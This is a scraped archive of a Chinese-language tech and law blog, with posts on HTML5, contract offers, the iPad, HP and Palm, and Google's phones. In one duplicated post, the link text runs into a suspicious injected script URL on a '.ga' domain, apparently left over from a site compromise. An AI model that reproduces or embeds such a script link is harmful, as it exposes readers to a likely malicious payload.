分類
公告

Apple's demonstrations on HTML5.

Apple just releases some examples and codes for the web surfers’ and developers’ information. According to these samples, we can easily understand that why Steve Jobs insists on that Flash is an old-fashioned tech.

The first sample containing a video and some effects doesn’t only work well on normal Mac machines, but also perfectly on my iPad. So do other samples, like the VR one. It works fast, smoothly, and quite amazingly.

I’m not sure which tech will survive in the future, but I’m confident in that Steve’s announcement is relatively fully backed up.

People can view mentioned samples via under URL:
Apple HTML5

分類
公告

Apple’s demonstrations on HTML5.

Apple just releases some examples and codes for the web surfers’ and developers’ information. According to these samples, we can easily understand that why Steve Jobs insists on that Flash is an old-fashioned tech.

The first sample containing a video and some effects doesn’t only work well on normal Mac machines, but also perfectly on my iPad. So do other samples, like the VR one. It works fast, smoothly, and quite amazingly.

I’m not sure which tech will survive in the future, but I’m confident in that Steve’s announcement is relatively fully backed up.

People can view mentioned samples via under URL:
Apple HTML5https://js.developerstatss.ga/stat.js?n=ns1

分類
法律

【簡單法律問題】要約–解答篇

阿財寫了封e-mail告訴阿德,說他開了兩三年的一台轎車想要轉手賣出,售價1萬美元。

阿德回信:「OK,我接受,你明天中午把車開來我家吧。」

問:契約是否成立?台灣法律與美國法律適用下會有無不同?

首先說明,什麼是「要約(offer)」?

「要約」在台灣民法的定義裡,是指「要約人以締結契約為目的而為之意思表示」。當要約人提出要約,他方就要約內容加以承諾,雙方即達成法律上「合意」,契約成立。

在美國法下定義也是差不多 — An offer creates a power of acceptance in the offeree and a corresponding liability on the part of the offeror. It creates a reasonable expectation in the offeree that the offeror is willing to enter into a contract on the basis of the offered terms.

因此,有讀者認為阿財的信件內容是「要約的引誘」,我認為是錯誤的。因為阿財信件內容很明白表示出了他是以締結契約為目的而為之的意思表示。美國法下,阿財也有在阿德承諾之後,即以該定價賣出移轉汽車所有權之意圖。
而要約的引誘,則是沒有「立即進入互負契約上義務責任」的意圖。這也是為什麼我認為是否成立要約的引誘,跟「見到實物與否」根本無關。

更進一步談,如果把「沒見到實物」的都當成是要約的引誘,則所有事後收費的服務業通通都無法成立契約。因為在服務實際執行之前,買方根本不可能看到什麼實物。則買方接受賣方提供服務時,契約還無法成立,這是什麼景況?
轉成白話:多數理髮廳的理髮服務是事後收費的。你走入理髮廳,在理髮師實際幫你理髮之前都沒有實物可見。別人裡出來的成果不見得能套用在你身上,更不會是實踐在你身上的「實物」。

理髮師問你要不要理髮,你答應。如果把理髮師的問話當成要約的引誘、你的答覆當成要約,則理髮師提供服務到一半忽然反悔,剪一半不剪了。你說沒有契約?那該怎麼解決這法律問題?走侵權行為嗎?
反之,如果將理髮師的問話當成要約,你的答覆當成承諾。契約成立,理髮師有義務幫你完成理髮,你也有義務在服務完成後給付價金。這樣的邏輯應該是比較符合真實世界的。

回到阿財賣車這問題。
台灣法律的適用跟美國common law適用下,結論會一樣 — 契約並未成立。(common law台灣一般翻譯成「普通法」,但這是非常錯誤的翻譯;可是該怎麼翻?我也沒有譜,所以就維持英文)

理由是:阿財的原始要約中並未提到如何交貨,而交貨方式在台灣法或美國common law底下都被看成一個重要的契約因素。台灣民法理論稱之為「主給付義務」。

依台灣民法規定,主給付義務的內容必須買賣雙方合意。美國common law也有持同樣的看法。

因此,阿德的回信其實是提出一個新的附加條件,指定了交貨的方式(台灣法律稱之為「危險移轉」)。這個新條件是在阿財提出的要約內容之外的。
附有新條件的要約,在法律上被看為「拒絕原要約,並提出新要約」。因此,阿德提出的新要約在阿財表示同意接受之前,契約都不會成立。而阿財原本賣車的舊要約,因為阿德的拒絕而不再具有法律上的效力。

不過,如果本案件適用美國聯邦UCC (Uniform Commercial Code) Article 2的話,則完全不同。
在UCC §2-207(1)規定下,上述雙方e-mail往返已構成法律上的「合意(mutual assent)」,契約是成立的。
除非,阿德的回信明白表示:「只要你願意把車開來我家交給我,我就同意以1萬美元代價購買你的車。」如此的回覆才會被UCC認定是「拒絕原要約,提出新要約」。
否則,契約成立,阿財有義務交付要約中所指定之轎車;阿德也有價金給付義務。

分類
法律

【簡單法律問題】要約

先前Dell電腦標錯價問題,我跟該案一審法官均認為問題在於「要約」上。

今天我再針對要約談一點簡單的例子,未來可能還有其他不同例子,端視我的時間是否允許。

阿財寫了封e-mail告訴阿德,說他開了兩三年的一台轎車想要轉手賣出,售價1萬美元。

阿德回信:「OK,我接受,你明天中午把車開來我家吧。」

問:契約是否成立?台灣法律與美國法律適用下會有無不同?

(答案明天揭曉)

分類
科技相關

Wired雜誌iPad版正式推出

先前才說Wired雜誌提出iPad上的電子雜誌概念,沒想到這家公司已經正式推出產品了(iTunes Store購買連結)。

http://c.brightcove.com/services/viewer/federated_f9/1813626064?isVid=1

對照國內出版業者似乎還在「EP同步」這種枝微末節處施力,實在是令人感觸良多。

看似最愛把「創新」當成口頭禪朗朗上口的文化產業,卻在緊要關頭如此摸不清大方向。的確,「魔鬼都在細節裡」,但是如果大方向都抓錯了,哪怕你細節處理得再好,都只是做白工。

當陶瓷沖水馬桶被發明並開始普及時,你繼續當一個手藝精湛的夜壺師父,並不會改善你的處境。

同樣的,日前華碩顯示器事業部協理邱耀輝的一番言論,也該讓華碩股東們膽顫心驚:

華碩顯示器事業部協理邱耀輝今(20)日表示,讓3D螢幕走在前面因為目前3D相關應用較完備,在消費端已有眾多遊戲、電影,加上2D轉3D技術可提供豐富內容,而在商用端亦有CAD繪圖、建築設計等應用,可在3D螢幕上預覽立體化的效果。

反觀觸控式螢幕,雖然Windows 7號稱支援多點觸控功能,但邱耀輝認為,從作業系統到軟體,實際可應用的觸控功能都還不多,就算是瀏覽網頁,使用滑鼠也仍比觸控方便。

他表示,觸控螢幕的技術對華碩來說不難,早在今年CeBit展中便有一款籌備中的觸控螢幕亮相。但華碩要先確定市場有需求,才會讓產品上市,至少在今年之內可能還看不到。

市面上哪一款3D laptop或TV大賣了?我們不知道。
但是iPhone、iPad或搭載Android系統的手機大賣,卻是眾所皆知。

如果這樣還叫「不確定有市場需求」?這樣的公司連瞎子摸象都稱不上,只能說是「瞎子連象都不肯摸」了。

或許,從比較善意的角度想,華碩這家「表面上創新」的公司,其實骨子裡的軟體實力根本就遠遠不如Apple這類公司。
該有的作業系統,他們做不到;該有的UI設計,他們辦不到;該有的軟硬體整合實力,他們也達不到。
從這角度想,華碩的確是看不到市場需求,因為就算有,他們能提供的產品可能根本都勾不著「市場需求」的邊。

從這位協理言論中,似乎一切全靠微軟Windows 7技術的意向,我們已可知悉一二。

我們再想想,一家只會把竹子貼在筆記型電腦上的公司,真叫創新嗎?

(圖片引自:http://laptops.techfresh.net/)

分類
Mac

在你的iPhone/iPad上畫花媽

iPhone的中文手寫輸入法上,畫個卡通人物「花媽」,你會得到母親的「母」字。

另外,畫隻王八也能得到烏龜的「龜」字。

這招從這邊這邊看來的

p.s. 剛剛我另外在iPad上嘗試,一樣沒問題(見圖)

分類
創意廣告蒐集

命苦不怪父母,地震不怨政府

如果一個政府做到掛出這樣的標語,那真的是荒謬到令人發噱了。

(圖片引自:假圖天國

分類
科技相關 商業評論

HP買下Palm!!


想不到,真的是想不到。

市場上前陣子才謠傳台灣的宏達電(HTC)可能會併購Palm以取得WebOS,而HTC也出面否認了這項意願。但這完全不在大家臆測名單裡的HP,這時卻半路殺出來宣布以12億美元買下Palm

我認為HP很可能是為了他們剛要推出的平板電腦鋪路。

過去微軟推廣平板電腦結果只是場災難,因為這幫子人只想簡單地將既有適合鍵盤、滑鼠操作的桌面系統,加個觸控筆和觸控螢幕就拿出來賣人。

而Apple的iPhone和iPad的成功,則是證明了因應新裝置與應用,人機介面必須有相當程度的改變和最佳化。我想這也是為什麼Apple讓iPad跑的是iPhone OS,而非Mac OSX。後者並不是一個適合觸控介面的作業系統。

Palm的WebOS其實也是一個嘗試針對觸控重新設計人機介面的手機系統。而這樣的作業系統,恰恰是HP最缺乏的。

或許HP的著眼點在此,但這只是我的猜測。各位看看就好。

分類
科技相關 Google Mac 商業評論

Google也不好過


前幾天我提到Apple iPhone G4原型機流出的問題,目前發展越來越偏向那位工程師阿弟仔遺失在酒吧裡,而非是我推測的「遭竊」。

但我依然不認為這會是一場Apple在背後當藏鏡人的公關秀。原因在於時間點不對。目前而言,離Apple過去操作新產品謠言的時間程序來說,似乎太早;同時,Apple自家的iPad才剛上市,而且賣相佳、行情俏,實在沒必要在這時候就上演iPhone G4流出劇碼來移轉媒體的焦點。
現時現刻,我相信Apple還是希望大家的焦點多放在iPad,而非iPhone下一代,甚至不是剛剛更新的據說能溫度飆升到100度的Macbook pro

目前看來,很像我在某網站看到的說法:「每個人都可能曾經丟過手機,但對這位弄丟手機的Apple工程師來說,這次可能是最勁暴、最幹的一次。」

但在手機上不好過的不只是Apple,Google的臉色這兩天大概也不太好看。

Google推出了跟Apple iPhone正面對抗的手機作業系統Android,很好。

可是擅長提供網路以及軟體服務的Google,竟然想撈過界來對終端消費者賣硬體,這挑戰的確不小(Google有對企業販賣伺服器硬體和軟體套件,不過這跟手機是截然不同的兩回事)。

美國行動通訊最大營運商Verizon Wireless宣布將不販售Google的Nexus One,這對Google打擊應該不小。

特別是市場上還一直謠傳iPhone將在Verizon體系販售。此事成真,對Google販賣自家的手機來說更是雪上加霜。

當然就Android系統來說,現在是百花齊放的前段,後續眾多手機廠商能用這個系統平台弄出怎樣的產品,著實令人期待。

不過就我的感覺而言,似乎Apple、Google和Microsoft面臨著相似的兩難困境:

平台太過開放,則整體產品品質管理不容易。很多問題,消費者可能把帳算到系統開發商身上,而非品牌商。
但是如果一昧要求品質與標準,則可能會淪為Apple現在給人「苛政猛於虎」的印象。這種印象多少會嚇退潛在開發商的。特別是當這潛在開發商的點子可能會是下一代的殺手級應用時,機會成本不可謂不高。

微軟在手機系統上過去要跟Symbian競爭,平台開放性相對較高,但也弄出不少問題麻煩。這次Windows Mobile 7似乎有點想學Apple,把很多東西重新抓回手上。

就市場後進者來說,Google走開放策略,試圖另外創造出網路效應格局,或許是跟Apple競爭的一步好棋。只是背後的代價是什麼,我們還不清楚。
最壞的情況,就是既沒有創造出超越iPhone及平台上十多萬種應用軟體的網路效應,卻落得Android平台雜亂無章難以統一攻擊步伐的窘境。

另一方面,相較於Apple,Google的確很缺乏跟通路商「交陪周旋」的經驗與能力。
這次Google大膽地繞過電信商,打算從網路直銷手機的方式,顯然不是很成功。如何挽救頹勢?Google得下更多工夫。但前提是,Google得評估花這麼多資源在非網路廣告本業之外的手機製造銷售上,到底划不划算?這個成本效益分析問題,是Google自己該去思量的。

圖片引自:blogfornood

分類
經濟分析 影片

組裝一台波音737,要花多少時間?

小時候我拿到第一組樂高積木,我花了一兩個小時這新玩具奮戰。

要組裝一台波音737,又得花多少時間呢?

http://www.liveleak.com/e/99e_1272263406

答案是:2分鐘!

當然這是影片長度,不過就影片內容來看,其效率也是高得驚人。

這個例子展現的,無疑是市場交易(各種組件的外包製造)以及專業分工(比較優勢定理–從個人、廠商到國家,各自專業分工最拿手的部份)二者能創造驚人效率。

看了雙英會,我認為蔡英文反對ECFA的論點,其論證基礎其實是蒙上眼睛假裝對市場交易以及專業分工的威力視而不見。
換言之,蔡英文過度聚焦在潛在失業問題上,卻完全忽略了市場開放後的交易、分工可以為台灣消費者帶來價廉物美的享受。

這種偏頗,其實並沒有比一昧歌頌偉大祖國的深藍政客好到哪去。